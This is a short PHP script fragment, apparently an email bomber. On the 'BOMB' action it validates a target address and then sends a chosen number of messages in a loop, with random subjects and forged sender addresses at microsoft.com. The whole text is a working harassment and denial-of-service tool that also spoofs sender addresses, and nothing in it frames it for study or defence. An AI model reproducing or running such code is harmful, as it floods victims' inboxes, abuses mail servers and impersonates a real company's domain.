if ($action == "BOMB")
{
if
(ereg("[A-Za-z0-9_-]+([\.]{1}[A-Za-z0-9_-]+)*@[A-Za-z0-9-]+([\.]{1}[A-Za-z0-9-]+)+",
$to))
{
echo "Sending $messages to $to
";
}
else
{
die("Invalid emailaddress ($to)");
}
for ($i = 1; $i <= $messages; $i++)
{
$randfrom = rand(100000,900000);
$randsubject = rand(100000,900000);
mail($to, $randsubject, "$message", "From: $randfrom@microsoft.com");
echo "Sent message # $i (Subject: $randsubject, From:
$randfrom@microsoft.com
";
}
}
?>